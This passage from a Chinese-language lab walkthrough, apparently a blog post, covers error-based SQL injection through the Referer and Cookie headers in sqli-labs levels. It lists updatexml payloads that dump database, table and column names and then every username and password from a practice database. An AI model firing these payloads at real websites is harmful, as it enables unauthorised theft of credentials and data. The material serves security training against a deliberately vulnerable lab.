Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1) or '
Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1) or '
#获取pikachu数据库的所有表名称
Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1) or '
Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1) or '
#获取pikachu数据库users表的所有列名称
Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),1,31),0x7e),1) or '
#获取pikachu数据库users表的username和password列的所有值
Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),1,31),0x7e),1) or '
Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),32,31),0x7e),1) or '
Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),63,31),0x7e),1) or '
Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),94,31),0x7e),1) or ' 

这关的代码和上一关也没多大差别,只是写入数据库和显示在页面的内容从User-Agent头变成Referer头了。

 
Less20

这关刚进去是个登录框

 输入正确的用户名和密码之后,会出现下面这个页面。这个页面中出现的信息包括User-Agent,客户端ip地址,cookie,用户名,密码,用户id

用户登录过程中burpsuite抓到两个request报文,第一个传送用户名和密码,第二个请求登录成功后的新页面,而这个request报文是携带cookie的

 

 将这个携带cookie的报文send to repeater。然后我在User-Agent和Cookie头正常内容的末尾都加了单引号试一下,发现报错的位置和cookie头有关(另外这关的标题好误导人,标题里写POST,可是这关有注入点的报文是GET请求报文,只不过注入点不在url中,在请求头内而已)

剩下的就还是报错注入了,和前面两关差不错,payload如下:

#获取服务器上所有数据库的名称
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) or '
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1) or '
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1) or '
#获取pikachu数据库的所有表名称
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1) or '
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1) or '
#获取pikachu数据库users表的所有列名称
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),1,31),0x7e),1) or '
#获取pikachu数据库users表的username和password列的所有值
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),1,31),0x7e),1) or '
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),32,31),0x7e),1) or '
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),63,31),0x7e),1) or '
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),94,31),0x7e),1) or '

本关代码中,如果用户输入的用户名和密码在数据库中可以查询到,则后端代码中会将用户名设置为cookie,该cookie超期前,用户登录网页,会触发147行的sql语句的执行,而报错位置在151行mysql_error()函数

 

  • 7
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值